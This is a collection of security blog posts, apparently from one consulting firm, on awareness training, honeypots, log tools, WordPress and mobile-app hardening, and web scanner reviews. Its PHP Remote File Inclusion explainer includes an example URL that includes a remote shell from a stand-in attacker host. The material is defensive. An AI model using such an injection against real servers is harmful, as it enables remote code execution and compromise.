A good security training and awareness program is one of, if not the most important part of any effective information security program. After all, people are the ones that cause security problems in the first place and, ultimately, people are the ones that have to deal with them. Not to mention the fact that people are twice as likely to detect security problems and breaches as any automated system. Doesn’t it make sense that you should do everything in your power to ensure that all of your people are behind you in your security efforts? That they are provided with the knowledge and the tools they need to understand information security and what their responsibilities are towards it? That they are aware of how devastating an information security incident can be to the company, and consequently, how devastating it can be to them personally? Well, you’re not going to get that from having them read the policy book as new hires and then hold a two hour class six or twelve months later!

And that is traditionally how information security is dealt with in most companies. All enthusiasm for the process is absent, too. They don’t want to do this training! It costs them time and money! The only reason most companies provide any security training outside of the very basics is because of their need to comply with some regulation or another. So what you end up with is a whole group of undertrained and unenthusiastic employees. And these employees become, in turn, the very kind of security liabilities that you are trying to avoid in the first place! So why not turn them into security assets instead? You have to provide them with some security training anyway, so why not give it that extra little “oomph” you need to make it worth your while to do?

How do you go about that you may ask? Here are some tips:

1. Make sure that they understand what an information security incident or anomaly looks like. Make sure that they know all about social engineering techniques and how Malware is spread. Give them some tips on how to recognize bogus websites, phishing emails and bogus phone calls. Let them know some of the things they can expect to see if there is a virus present on their machines. And don’t use just one format to provide them with this information. Use every method you can think of! There are many formats for security and awareness training to choose from. Group assemblies with speakers and PowerPoint presentations, lunch and learns, training days, self directed web based learning, directed webinars, security documents, email reminders, posters and pamphlets, podcasts, departmental meetings, discussion groups and many more. And make sure that management personnel, especially top management personnel, make it clear how important this task is and how much it means to them and the company. Without this support, your efforts will go nowhere.

2. Give your people incentives that make them want to participate in the information security program. One method is to simply ask for their help. Make sure your employees understand how important the participation of each and every one of them is to the effort. People often respond very favorably to such requests. Whereas if they are simply told that they must do it, they are much more likely to be unconcerned and uncooperative. Another way is to provide them with rewards for active participation in the program. Put the names of employees who have reported security issues in a hat and have a monthly drawing for a prize or a day off. Give these people a free lunch. Give them the best parking spot in the lot for a month. I’m sure you can think of a dozen other ways to reward your employees for participating in the program. Or simply post the picture of the employee on a bulletin board or internal web page or recognize their accomplishments at group meetings. Everybody really likes to be recognized for doing a good job!

The whole idea is to turn your personnel into “net cops”. If you can do that, you can turn your own people into the best IDS system there is, and for a lot less money than you would spend on machines or hosted services…or for cleaning up a security incident!

One of MSI’s Twitter friends, Eric Romang, recently wrote a deep dive about PHP RFI attacks that used the fileave.com service. The write-up was based on a large set of honeypot data that dates back several years!

The data is interesting and compelling and goes a long way to show value derived from the use of honeypots to track attackers and reveal information and trends about their behaviors. Check out this article here.

We were quite impressed with the data visualizations and are excited to see the level of effort put forth. Thanks for the dedication and hard work! We hope that, you, our readers, enjoy pointers to great data like this.

Have you seen or done other honeypot research or visualizations on your networks and threats? If you care to share tips, results or the like, drop us a line below in the comments or via Twitter (@lbhuston, @mrmaguire). We would love to hear more about them!

As always, thanks for reading!

One of the least understood parts of MicroSolved is how the HoneyPoint Internet Threat Monitoring Environment (#HITME) data is used to better protect our customers. The engineers have asked me to drop this line into the newsletter and give you a “bees knees” perspective of how it works! First, if you don’t know about the #HITME, it is a set of deployed HoneyPoints that gather real world, real time attacker data from around the Internet. The sensors gather attack sources, frequency, targeting information, vulnerability patterns, exploits, malware and other crucial event data for the technical team at MSI to analyze. You can even follow the real time updates of attacker IPs and target ports on Twitter by following @honeypoint or the #HITME hash tag. MSI licenses that data under Creative Commons, non-commercial for FREE as a public service to the security community.

That said, how does the #HITME help MSI better protect their customers? Well, first, it allows folks to use the #HITME feed of known attacker IPs in a blacklist to block known scanners at their borders. This prevents the scanning tools and malware probes from ever reaching you to start with. Next, the data from the #HITME is analyzed daily and the newest, bleeding edge attack signatures get added to the MSI assessment platform. That means that customers with ongoing assessments and vulnerability management services from MSI get continually tested against the most current forms of attack being used on the Internet. The #HITME data also gets updated into the MSI pen-testing and risk assessment methodologies, focusing our testing on real world attack patterns much more than vendors who rely on typical scanning tools and back-dated threats from their last “yearly bootcamp”.

The #HITME data even flows back to the software vendors through a variety of means. MSI shares new attacks and possible vulnerabilities with the vendors, plus, open source projects targeted by attackers. Often MSI teaches those developers about the vulnerability, the possibilities for mitigation, and how to perform secure coding techniques like proper input validation. The data from the #HITME is used to provide the attack metrics and pattern information that MSI presents in its public speaking, “State of the Threat,” the blog, and other educational efforts. Lastly, but certainly not least, MSI provides an ongoing alerting function for organizations whose machines are compromised. MSI contacts critical infrastructure organizations whose machines turn up in the #HITME data and works with them to mitigate the compromise and manage the threat. These data-centric services are provided, pro-bono, in 99% of all of the cases!

If your organization would be interested in donating an Internet facing system to the #HITME project to further these goals, please contact your account executive. Our hope is that the next time you hear about the #HITME, you’ll get a smile on your face knowing that the members of my hive are working hard day and night to protect MSI customers and the world at large. You can count on us, we’ve got your back! 

I gave a quick interview today for a magazine article to be printed in late July. The topic was pretty interesting; it revolved around consumer fears about online banking.

The key point of the discussion was that financial organizations are doing a ton of work on securing your data and their systems from attack. The major problem facing online banking today is really the consumer system. So many home PCs are compromised or infected today that they represent a significant issue for the banking process.

The good news is that home systems can pretty easily be removed from the equation with a simple bootable LiveCD or USB key. It is quite easy (and affordable) to create Linux distros with very limited applications and security measures that enforce using it just for banking and other high risk transactions. Solutions in this space are available in open source, community/payment supported and of course, full blown commercial software tools complete with a variety of VPN, access control and authentication tools.

You might even consider creating your own open source distro, labeled and logo branded to distribute for free to your customers. A few of my credit unions are taking this approach. For the cost of CD duplication, they get the high trust customer contact and peace of mind of having a dedicated, trusted platform for their home banking. That, indeed, may be well worth the investment.

Lucid Puppy Linux 5.0 was released back in May of 2010, but as one of my favorite distros, I have been playing with it heavily since then. I have been so impressed with the new version that I wanted to take a moment and write a quick review of this release.

You can find the official release page here, along with download information.

First, let me say that I have really come to love Puppy Linux over the last several years. I use it as a LiveCD/USB platform for secure on the go browsing, a Linux OS for old hardware that I donate to a variety of folks and causes, and as a platform for using HoneyPoint as a scattersensor. I like the ease of use, wide range of hardware support, and small footprint. All of these make this a very workable Linux distro.

This version especially seems to be stable, fast, and capable. I have taken to running it from a bootable USB drive and the performance has been very nice. Being able to drop these onto untrusted systems and use them as a browser, VPN client, and productivity tool has been handy. Using HoneyPoint Personal Edition, the nmap plugins and some other Puppy installs of security tools gives me a great platform for working incidents, gaining visibility and catching rogue scans, probes and malware that are in circulation when I pull in to help a client. Over and over again, the distro has proven itself to be a very powerful tool for me.

I suggest you take a look at the distro, LiveCD or USB and see how it can help you. I think you’ll find it fun, easy to use, and quite addicting. The pictures of the puppies don’t hurt either.

Check it out!

Right now, most organizations are fighting a losing battle against initial stage compromises. Malware, bots and client side attacks are eating many security programs alive. The security team is having a nearly impossible time keeping up with the onslaught and end-user systems are falling left and right in many organizations. Worse, security teams that are focused on traditional perimeter security postures and the idea of “keeping the bad guys outside the walls” are likely unaware that these threats are already active inside their networks.

There are a number of ways that second stage compromises occur. Usually, a compromised mobile device or system comes into the environment via remote access, VPN or by being hand carried in by an employee or consultant. These systems, along with systems that have been exploited by client-side vulnerabilities in the day to day network represent the initial stage compromise. The machines are already under attacker control and the data on these machines should already be considered as compromised.

However, attackers are not content with these machines and their data load. In most cases, they want to use the initial stage victims to compromise additional workstations and servers in whatever environment or environments they can ride those systems into. This threat is the “second stage compromise”. The attackers use the initial stage victims as “pivot points” or bots to attack other systems and networks that are visible from their initial victim.

Commonly, the attacker will install bot-net software capable of scanning other systems and exploiting a few key vulnerabilities and bad passwords. These flaws are all too common and are likely to get the attacker quite a bit of success. The attacker then commands the bot victim to scan on new connections or at designated times, thus spreading the attacker’s presence and leading to deeper and deeper compromise of systems and data.

This pattern can be combated in a number of ways. Obviously, organizations can fight the initial stage compromise. Headway has been made in many organizations, but the majority are still falling quite short when it comes to protecting against a growing diverse set of attack vectors that the bot herders and cyber-criminals use. Every day, the attackers get more and more sophisticated in their campaigns, targeting and approach. That said, what can we do if we can’t prevent such attacks? Perhaps, if we can’t prevent them easily, we can strengthen our defenses in other ways. Here are a couple if ideas:

One approach is to begin to embrace enclave computing. This is network and system trust segregation at the core. It is an approach whereby organizations build their trust models carefully, allowing for initial stage compromises and being focused on minimizing the damage that an attacker can do with a compromised workstation. While you can’t prevent compromise, the goal is to create enough defensive posture to give your team time to detect, isolate and respond to the attack. You can read more about this approach in our 80/20 rule of Information Security.

A second idea is to use HoneyPoint decoy hosts on network segments where exposures and initial stage compromise risks are high. These decoy hosts should be dropped where they can be easily scanned and probed by infected hosts. VPN segments, user segments, DMZs and other high exposure areas are likely candidates for the decoy placement. The idea is that the systems are designed to receive the scans. They offer up services that are fake and implemented just for this purpose. The decoy systems have no other use and purpose than to detect scans and probes, making any interaction with them suspicious or malicious. Decoy services, called HoneyPoints, can also be implemented on the servers and other systems present in these network segments. Each deployed HoneyPoint Agent ups the odds of catching bots and other tools deployed by the attacker in the initial stage compromise.

Both of these strategies can be combined and leveraged for even more defense in depth against initial stage compromises. If you would like to learn more about how these tools and techniques can help, drop us a line or give us a call. We would be happy to discuss them with you.

In the meantime, take a look at how your team is prepared to fight initial stage compromises. What you find may be interesting, especially if your team’s security focus has been on the firewall and other perimeter controls.

We just updated our blogroll to include some of the best information security blogs in blogosphere. Take a look on the left to discover them!

Just a quick heads up post that Adobe has just released an “emergency patch” for at least 17 holes in Reader and Acrobat. This is likely worth rushing into testing and ultimately production as PDF attacks have become all the rage lately. You can find more information about the patch here: http://www.theregister.co.uk/2010/06/29/adobe_emergency_patch/

Just talked to a client who had dropped a HoneyPoint decoy host in their VPN termination segment a couple of weeks ago. Yesterday, it paid off.

They caught a machine that had passed the anti-virus and patching requirements of the NAC for the VPN. The machine was AV scanned clean. But, immediately upon connection the machine began to port probe hosts around it. This triggered the decoy machine’s HoneyPoints, causing the security team to investigate. The machine was brought in and examined. Closer inspection found it infected with a bot tool that escaped AV detection, but was capable of scanning for bad passwords and a couple of common vulns on surrounding machines. The machine is currently being imaged and rebuilt.

This is an excellent example of how HoneyPoint can help catch bots and malware, even when other controls fail. Defense is depth pays off and the leverage that HoneyPoint provides is often quite powerful, as in this case.

Have you thought about using decoy hosts? If so, how?

For this weeks tool review, we’re looking at Splunk. Splunk is a log collection engine at heart, but it’s really more than that. Think of it as search engine for your IT infrastructure. Splunk will actually collect and index anything you can throw at it, and this is what made me want to explore it.

Setting up your Splunk server is easy, there’s installers for every major OS. Run the installer and visit the web front end, and you are in business. Set up any collection sources you need, I started off with syslog. I started a listener in Splunk, and then forwarded my sources to Splunk (I used syslog-ng for this). Splunk will also easily do WMI polling, monitoring local files, change monitoring, or run scripts to generate any data you want. Some data sources require running Splunk as an agent, but it goes easy on system resources as the GUI is turned off. Installing agents is exactly the same process — you just disable the GUI when you’re finished setting up; however you can still control Splunk through the command line.

Splunk can also run addons, in the form of apps. These are plugins that are designed to take and display certain information. There are quite a few, provided both by the Splunk team and also some created by third parties. I found the system monitoring tools to be very helpful. There are scripts for both Windows and Unix. In this instance, it does require running clients on the system. There are also apps designed for Blue Coat, Cisco Security and more.

In my time using Splunk, I’ve found it to be a great tool for watching logs for security issues (brute forcing ssh accounts for example), it was also useful in fine tuning my egress filtering, as I could instantly see what was being blocked by the firewall, and of course the system monitoring aspects are useful. It could find a home in any organization, and it plays nice with other tools or could happily be your main log aggregation system.

Splunk comes in two flavors, free and professional. There’s not a great difference between them. The biggest difference is that with the free version Splunk is limited to 500MB of indexing per day, which proves to be more than enough for most small businesses, and testing for larger environments. Stepping up to the professional version is a lot easier on the pockets than might be expected, only about $3,000.

Note: This webinar is being rescheduled for July. Date and time to be announced.

This Thursday, June 24, at 2:00 PM – 3:00 PM EST, Phil Grimes, Security Analyst with MicroSolved, Inc., will be presenting a slideshow on DimDim. Join us to learn how to harden a WordPress site! Time will be left at the end for questions.

Send an email to register and we’ll send you the sign-in credentials.

See you there!

In continuing our research and experimentation with PHP and the threat of Remote File Inclusion (RFI), our team has been seeking out and testing various tools that have been made available to help identify web sites that are vulnerable to RFI during our penetration tests. Because we’re constantly finding more tools to add to the list, we’ve started the evaluation this week with the release of darkjumper v5.7. This python tool prides itself on being cross platform, and at first glance, seems rather easy to use. After downloading the tarball and extracting the files, simply calling the script from the command line brings it to life.

Running again with the –help or -h switches will print the options to the menu. This tool has several helpful options that could help expedite the discovery of various attack vectors against the web site. The injection switch incorporates a full barrage of SQLi and blind SQLi attempts against every web site identified on the target server. We did not use this option for this evaluation but intend to thoroughly test it in the future.

Using the inclusion switch will test for both local file inclusion (LFI) and RFI, again on every website identified on the target. This is our main focus for the evaluation since we’ve seen an incredible number of RFI attacks in the recent HITME data from around the globe. Selection of the full switch will attack the target server with the previously mentioned checks, in addition to scanning cgi directories, user enumeration, port scanning, header snatching, and several other possibly useful options. While a full review of this tool will be written eventually, we’re focusing on the RFI capabilities this time, so we’re using this test only against our test target. The test appears quite comprehensive. Another seemingly useful function of this tool is its ability to discover virtual hosts the live on the target server. After a short wait, darkjumper works it’s magic and spits out several files with various information for us to review. After pouring through these files, our team was disappointed to realize that there were URLs that pointed to this server which seem to have been missed by the tools scans. Even more disappointing is the fact that of the 12 target sites identified by the tool, none were the target that we had suspected of being vulnerable to RFI.

File inclusion is a real threat in the wild today. We are seeing newly vulnerable and compromised hosts on a regular basis from the HITME data, and seeing that Apache ships with a default configuration that is vulnerable to these attacks and the fact that PHP is inherently insecure, makes the battle even more intense. It is absolutely critical in this environment that we are hardening our servers before bringing them online. Those of us developing our web applications are validating every bit of information that is submitted to us by our users! Allowing our servers to execute code from an unknown source is one of the most popular attack vectors today from SQL injection, to XSS and XSRF, to RFI. The Internet continues to be a digital equivalent to the wild, wild west, where outlaws abound. There is no guarantee that the users who interface with our sites are who they say they are or that they have the best of intentions. It is up to us to control how our applications and servers are handling this data.

“Consumer use of the cloud”; in a phrase, is how the cloud will leak into your enterprise, whether you like it or not. Already, IT is struggling with how to manage the consumer use of devices and services in the enterprise. Skype/VoIP and WIFI were the warning shots, but the BlackBerry, iPhone, iPad and other consumer devices are the death nail for centralized IT (and IS) control.

Consumer electronics, backed by a wide array of free or low cost cloud services, are a new frontier for your organization. Services like MobileMe, DropBox, various file sharing tools and remote access services like GoToMyPC, et al. have arrived. Likely, they are in use in your environment today. Consumers use and leverage these services as a part of their increasingly de-centralized online life. Even with sites like Twitter and FaceBook growing in capability and attention, consumers grow their use, both personally and professionally of services “in the cloud”. Make no mistake, despite your controls at the corporate firewalls, consumers are using their mobile and pocket devices and a variety of these services. Unless you are searching them at the door and blocking cell phone use in your business, they are there.

This might not be “the cloud” that your server admins are worrying about. It might not represent all of the off-site system, database and other hosting tools they are focused on right now, but make no mistake, this consumer version of the cloud has all, if not more, of the same issues and concerns. Questions about your data is managed, secured and maintained all abound.

Given the “gadget posture” of most organizations and their user communities, this is not likely to be something that technical controls can adequately respond to. The consumer cloud services are too dynamic and widespread for black listing approaches to contain them. Plus, they obviously lack centralized choke points like in the old days of “network perimeter security”. The new solution, however, is familiar. Organizations must embrace policies and processes to cover these technologies and their issues. They also have to embrace education and awareness training around these topics with their user base. Those who think that denial and black listing can solve this problem are gravely mistaken. The backdoor cloud consumer movement into your organization is already present, strong and embedded. Teaching users to be focused on safe use of these services will hopefully reduce your risk, and theirs.

Just a quick note on the recent Google announcement about dumping Windows for desktops in favor of Linux and Mac OS X. As you can see from the linked article, there is a lot of hype about this move in the press.

Unfortunately, dumping Windows as a risk reducer is just plain silly. It’s not which OS your users use, but how safely they use it. If a user is going to make the same “bad computing hygiene” choices, they are going to get p0wned, regardless of their OS. Malware, Trojans and a variety of attacks exist for most every, if not every, platform. Many similar brower-based attacks exist across Windows, Linux and OS X. These are the attack patterns of today, not the Slammer and Code Red worm attack patterns of days gone by.

I fail to see how changing OS will have any serious impact on organizational risk. Perhaps it will decrease, a very small amount, the costs associated with old-school spyware and worms, but this, in my opinion is likely to be a decreasing return. Over time, attackers are getting better at cross platform exploitation and users are likely to quickly feel a false sense of security from their OS choice and make even more bad decisions. Combine these, and then multiply the costs of additional support calls to the help desk as users get comfortable and have configuration issues in the enterprise, and it seems to me to be a losing gambit.

Time will tell, but I think this was a pretty silly move and one that should be studied carefully before being mirrored by other firms.

Lately, we have been looking at a lot of banking apps and front ends for the iPhone, Android and other mobile devices in the lab. Our testing thus far has shown some great results and it seems like a lot of banks, credit unions and other financial institutions are interested in having an “app” for their customers and members. Many of these apps are well designed, deep and rich. Many are simply canned front ends to existing web page content and functionality. A few are just plain horrible.

Here are three tips for organizations to keep in mind when coding their banking and financial apps for the mobile devices.

1. The mobile devices are not PCs. The apps should be light weight, clean and easy to use. Usability is tied to security in this case, because of errors. If your app has tiny little buttons with confusing text, no confirmation dialogs and lacks other basic usability features then you make it easier for users to make mistakes, create bad transactions, get confused and other issues would could constitute a risk for your business and your users. Don’t design for a PC monitor. Make sure your designs are usable on the appropriate size screens and with appropriate space for human digits.

2. Don’t allow users to store their credentials in the app or its underlying data structures. Many mobile phones and such remain woefully unsecured. Even where the vendor has provided for basic security controls for the devices, many users do not use them. Plan ahead for this. The app has to be convenient, but it shouldn’t let the users place undo risk on themselves. If you allow them to store logins, or even a digital certificate, make sure they can’t also store at least 1-2 other pieces of credentials between uses. If someone just picks up their device, they should NOT have access to the users accounts.

3. This goes without saying, but don’t forget encryption. Just because an application uses the cell network, does not mean that you don’t need SSL. (I’m looking at you two developer groups in the last 90 days, you know who you are.) No matter the network, protect your transactions and data streams with strong crypto. The mobile devices can handle it. They can do enough lifting to handle SSL or they shouldn’t be running a banking app. Like Nike says, “Just Do It!”

There you have it. Three basic ways that you can help increase the safety and capability of your financial services app on the iPhone, iPad and other mobile platforms. If you have done these three basics, then you are off to a start. The next crucial step is to get your app and the back-end processes checked via a risk assessment and security test. Give us a call if you need assistance or want us to drop it into our testing lab process. We are seeing quite a few of these days.

So, just a quick thought on this one. What if we, as security folks, made a serious endeavor to reduce the earning capability of those who create crimeware, spyware and other malware? What if we did to them exactly what the gaming companies and MPAA have been saying is killing their business? What if every time we saw a piece of “licensed” crimeware tool, we cracked it and published keygens and other cracks for it?

Sure, in the mid-term there would be more attackers able to use the malware. But, what if, in the longer term, less malware were actually created? What if the bar went up to the point where publishing these tools was no longer profitable? Would the numbers and evolution of malware be slowed?

I am asking, not because I have an answer in mind, but because I am curious. At what point does striking at the root of the profitability of criminals reduce their efforts and capabilities? Anyone with ideas or experience in this line of thought, please leave a comment below. Thanks for reading and I look forward to your responses.

This has to be one of the worst, most FUD-filled articles I have seen yet on cyber security.

http://www.foxnews.com/scitech/2010/06/03/ways-your-home-susceptible-hackers-cybersecurity/

In the article, many vulnerabilities and threats are discussed, but the article fails to lay out any sense of real risk based on probability or likely damages. In other words, here is a bunch of the over the top crap to scare you about using technology.

I think this kind of stuff is exactly why consumers have grown palliative to security threats and keeping their machines patched. The media loves to whip the fear and hype on them routinely, yet common sense tells us innately that the sky can’t always be falling, or it would have fallen by now. Humans are incapable of existing at high levels of threat sensory overload for long periods of time. We just weren’t wired for it. Our sense of risk becomes irrational with too frequent and infrequent use.

Please, talk to people who ask about this stuff with a well-placed sense of risk. Explain that security issues exist in a variety of platforms, but the average person needs not fear every security problem. They need to base their decisions and actions on real world probability and damage calculations and NOT on hype by vendors, the media or interested parties.

I don’t know about you, but I’m not too worried about someone HERFing my stereo. It would work, likely, but the odds of someone caring enough to do it, having access and capability, seem pretty small. I’m not planning on tempesting the house any time soon, and neither should you.

WordPress (WP) has become the dominant force in blogging platforms for a very good reason. Because it’s open source, creative developers are constantly looking for ways to improve the product to meet the needs of both personal and business bloggers. Consider that WordPress can be hosted on your own server (or hosted by whichever service you use), has an army of theme designers (both free and premium), and attracts traffic by a variety of add-ons.

A quick list of the competition: TypePad, which costs $14.95 a month for the “pro” version. You’ll need to learn a specific TypePad programming language to customize your blog. Tumblr does not allow comments so if you used it, you would have to embed Disqus to enable comments. Movable Type offers customization, but requires a license for business use, which ranges from $50 to $1,000, depending on how many people will require access to make updates.

WP is a free download but many themes have a cost attached. You can find some great free themes, but be sure to look for support. If a theme designer’s website has a forum, that’s a very good sign. It means they’re open to questions and helping you when needed.

Once you set up your WP blog, avoid spammers by activating the “Akismet” plug-in. What this plug-in does is protect your blog comment section from being spammed. There are many great plugins for business blogs. Search Engine Journal has a few here and a helpful article with more plugin recommendations from Better Business Blogging.

One of the reasons WP is loved by businesses is because it is SEO-friendly. Google and other search engines play very nicely with WP. Once you create a powerful header and add keywords within your post, a search engine will notice. Searching for relevant keywords? Try Google’s search-based keyword tool. It will give you ideas of what people are searching for in your industry and you can adopt a few of those keywords to drive traffic.

WP also allows multiple users to contribute to the blog. You can also schedule blog posts to be published at a later date. If you have multiple users, it may be a good idea to filter the posts through a gatekeeper (such as HR or marketing) before posting, to ensure a consistent message for the organization.

WP has updates, like any software. Install an automatic update plugin to help you stay on track. Use strong passwords for logins and have strong file permissions set.

Another way to secure your blog is by using a secret key. In WordPress, the wp-config.php file is the file that stores the database information that WordPress needs to connect: name, address and password of the MySQL database. Go here and copy the results into this section of your wp-config.php file if you haven’t already set up a secret key.

Blogging can be an excellent way for your organization to stay current in its industry. By consistently posting relevant blog posts for your audience, you have the opportunity to inform them and stay connected. Using some of these tips will help make the most of your blog.

Netsparker Professional Edition, by Mavituna Security, is a web application scanner focused on finding unknown flaws in your applications. It can find a wide range of vulnerabilities including SQL injection, cross-site scripting, local and remote file inclusion, command injection and more.

Installation of the software was easy, and as Mavituna Security touts, the license is non-obtrusive. Starting the application you are presented with a nice well designed gui, that shows quite a lot of information. To start a scan, it can be as simple as just putting in a URL. It is very easy for non-security professionals to setup and use. There are also profiles you can configure and save. It’s possible to configure a form login through a very well designed wizard.

The main draw of Netsparker is the confirmation engine, which is how Netsparker claims to be false positive free. The confirmation engine takes the vulnerability and actually confirms that it’s exploitable. If it’s exploitable, it’s definitely not a false positive. A neat feature of identified SQL injection vulnerabilities is the ability for Netsparker to allow you to exploit them right through the scanner. You can run SQL queries, or even open a shell (depending on DB and configuration of it). Directory traversal vulnerabilities can be exploited to download the whole source of the application since Netsparker already knows all the files, and other system files can also be retrieved and saved through the interface.

We set Netsparker to scan our Web application lab which contains known vulnerabilities that cover the OWASP Top Ten Project. We noticed that Netsparker did a very good job at spidering and finding a high number of attack surfaces. On vulnerabilities, Netsparker did a great job of finding SQL injections, cross site scripting, and directory traversals. On one vulnerability, I thought I may have made Netsparker report a confirmed false positive, but it turns out I was wrong after I used the built in query maker and ran one and got data back.

Overall I think Netsparker is an excellent tool, especially effective at finding SQL injections and cross-site issues. Of course, I wouldn’t say it was the only scanner you should have, but definitely consider adding it to your repertoire.

I have seen a lot of hype in my day, but this one is pretty much — not funny. Below is a link to a mainstream media trade magazine for the hospitality industry in which the claim that PCI compliance is the “best defense” hotels and the like can have against attackers and data theft.

Link: http://is.gd/cgoTz

Now, I agree that hospitality folks should be PCI complaint, since they meet the requirements by taking credit cards, but setting PCI DSS as the goal is horrible enough. Making PCI out to be the “best defense” is pretty ridiculous.

PCI DSS and other standards are called security BASELINES for a reason. That is, they are the base of a good security program. They are the MINIMUM set of practices deemed to be acceptable to protect information. However, there is, in most all cases, a severe gap between the minimum requirements for protecting data and what I would quantify as the “best defense”. There are so many gaps between PCI DSS as a baseline and “best defense” that it would take pages and pages to enumerate. As an initial stab, just consider these items from our 80/20 approach to infosec left out of PCI: Formalized risk assessment (unless you count the SAQ or the work of the QSA), data flow modeling for data other than credit card information, threat modeling, egress controls, awareness, incident response team formation and even skills gap/training for your security team.

My main problem with PCI is not the DSS itself, but how it is quickly becoming the goal for organizations instead of the starting line. When you set minimums and enforce them with a hammer, they quickly come to be viewed as the be-all, end-all of the process and the point at which the pain goes away so you can focus on other things. This is a very dangerous position, indeed. Partial security is very costly and, at least in my opinion, doing the minimum is pretty far away from being the “best defense”.

Thanks to the data from the HITME, I interact with a lot of people and organizations that have compromised machines. Often, my email or phone call is the first they have heard of the problem. Reactions vary from shock and denial to acceptance and occasionally rage. Even worse, when they hear that their machines are attacking others or being used in active attacks, many have no idea how to handle the situation.

Should you ever get a call like this from me or someone else, here are a few tips that you might find helpful for proceeding.

1. Be polite. I am calling to help you. Even though my message may mean more work and possibly some pain for you and your staff, knowing about a compromise is MUCH better than not knowing. Usually, the more polite and nice you are, the more information I will help you understand. I can usually point you in the right direction to begin to understand the issue, but if you act like a jerk, I will likely leave you to it.

2. Begin an investigation as soon as possible. Invoke your incident response process. If you don’t have one, ask for help, or retain assistance. But, please, treat a caller who explains and demonstrates that you have a system compromise with immediate attention. I see hundreds of compromised systems a day and I don’t have time to beg and plead with you to reduce your risk and the risk your systems present to others. I am happy to substantiate my claims, but after I notify you, TAKE ACTION. The majority of compromised systems involved in notification remain under attacker control for extended periods. Often, weeks and months pass by before any apparent action (such as mitigation or clean up) takes place.

3. Do a thorough job of mitigation. I would say that more than 25% of the time (I just started formally tracking this to gather better metrics.) when a site goes through “clean up”, they end up compromised again and right back where they started from. Likely many of these machines are simply bot-infected and the bots just place their malware back on the system after “clean up” is done. Removing the basic tag files or malware, but not understanding how they got there in the first place and fixing that is pretty much meaningless. For example, I have been working with a site presently that has been used as a PHP RFI verification tag file host for weeks. They have “cleaned up” every day for several weeks to no avail. Every night, they get hit by another PHP RFI scanner and it exploits their system and drops a new tag or malware bot. I have tried explaining no less than 10 times how they need to identify the underlying PHP issue, harden the PHP environment (yeah, I sent them the settings) to no avail. This is an example of how to fail at risk, threat and vulnerability management. Don’t do it. Fix the real problems. If you don’t know how, ask and then follow the guidance provided. If you need more help, either retain it or get a scanner and start hardening.

4. Respect the law. Don’t beg me not to turn this over to law enforcement. I have to. I want to, if you are critical infrastructure or some other member of the high threat club. Fix your stuff and manage security appropriately if you’re a member of the club; or you deserve to explain to law enforcement why you declined. Either way, I am going to try and help you and everyone by making the report.

5. List a contact for security issues on your site. Please, when I do call, I need to know who to talk to. At the very least, let your reception folks know how to handle security calls. The last thing you want is for the attacker to continue to compromise your systems while I play in “Voicemail-Land” forever. Remember, help me help you.

Lastly, even if you don’t get this call, do your due diligence. Make sure that your systems are secure and that you have security processes in place. Retain someone to help you manage risk and perform validation. Work with them to create effective risk management techniques for your organization. Hopefully, you won’t be on the other end of the line tomorrow or the next day as I make my round of calls….

If you have any additional suggestions or comments on this approach, please feel free to drop a comment below. As always, thanks for reading and be careful out there.

PHP is a scripting language that is deployed on countless web servers and used in many web frameworks. “PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.”[1] In 2007, at least 20 million websites had PHP deployed. The exponential growth of PHP came from the development of LAMP/WAMP stacks. These stand for Linux/Apache/MySQL/PHP and Windows/Apache/MySQL/PHP respectively.

These ensure that deployment of PHP applications are simple enough for the most novice web developer. Many of you may have heard of WordPress, Drupal, or Joomla. These are common web applications that are written entirely in PHP. Many sites run PHP as their main scripting language, such as Youtube, Facebook, Digg, and Wikipedia.

PHP also powers cybercrime. A large majority of publicly disclosed vulnerabilities are PHP related. In 2009, 5733 PHP Remote File Inclusion vulnerabilities were disclosed.[2] In situations where exploiting PHP RFI is possible, most likely SQL Injection and Cross Site Scripting are all possible. This is due to the exploits having the same root cause or lacking input validation.

What is a PHP Remote File Injection (RFI) attack? A PHP RFI attack occurs when there is unvalidated input to a PHP script. This allows PHP code to be injected by a malicious person. For example, a typical PHP URL would look something like this:

www.example.com/errors.php?error=errorsfile.php.

How can this be abused to cause PHP RFI? The errors.php script is taking a file as input, which in the example, is errorsfile.php. If the site is vulnerable and does not have input validation, any file could be used as input, even files from remote servers. When the vulnerable server requests www.example.com/errors.php?error=http://evilhaxor.com/remoteshell.php, the remoteshell.php file will be processed by the web server. Attackers can do quite a bit with remotely included PHP files, including opening a shell, enumerating users or programs, and defacing the website. Basically, whatever user the web server is running as, an attacker can run commands as that user.

How do we fix PHP RFI? There are several variables within the PHP configuration that can be set to provide a more secure environment for PHP code to run in. These are register_globals, allow_url_fopen, and allow_url_include. In an ideal world, we would be able to set all of these variables in the php.ini file to OFF. However, in most cases this will break applications dependent on these functions. A thorough review of their usage should be done before setting any of them to OFF. Another solution is to implement secure coding practices in PHP, and to implement input validation.

Detailing input validation methods and ways to securely code PHP is too complex for this article. However you can discover more by reading the OWASP Top 10 entries for PHP RFI, and the Web Application Security Consortium article on PHP RFI. Both will help you learn about this threat and take precautions for your own network.

Today was my first real chance to try out the iPad as a VPN client in a critical situation. I needed an essential file for a client in a real hurry. We were about 50 miles from the office and a physical return with the file wasn’t possible. Even worse, it was stored on an encrypted vault volume on my personal backup system, so none of my engineers could assist me, since they lack credentials for that box.
Thankfully, I had my iPad with me. I had already set up a VPN connection for my device, but hadn’t yet tested it. The good news is that it worked perfectly! I was able to quickly create a VPN tunnel back to my network and then SSH into my vault. Once there, I could effortlessly arrange for a file transfer to my client in a secure manner. I even piped a VNC connection over the tunnel using iTeleport and could interact with the GUI nearly as easily as on a laptop.
All in all, it was a great save and made an excellent real world use case for the iPad in my work flow. Have you had any other big successes with the iPad in your security work? If so, drop a comment and tell us about it. I look forward to reading about it!

As the Internet continues to morph, common attack vectors change. Info Sec professionals once had the ease of scanning a network and leveraging available vulnerabilities to gain a foothold; but now we’re seeing a paradigm shift toward web applications and the security that protects them. I’m sure this is nothing new to our readers! We all see the application as an emerging favorite to gain access to the network; just as we’re seeing the web browser gaining popularity in targeting the end user and workstation.

As our Team continues to provide top notch application assessment services, we’re seeing SQL Injection (SQLi) as one major vector of which to take advantage. Unfortunately, this attack is quite time-consuming, considering the various ways developers code their queries, utilize the architecture involved, and evaluate how the application handles interactions with the database. In an effort to be more efficient in the quest for vulnerable query strings, we have aggressively tested the plethora of SQLi tools that have been publicly released. Initially, the Team hoped to evaluate these tools and provide an extensive review on the performance of each. This tech is sad to report that from the three tools tested recently, not one was successful in the endeavor.

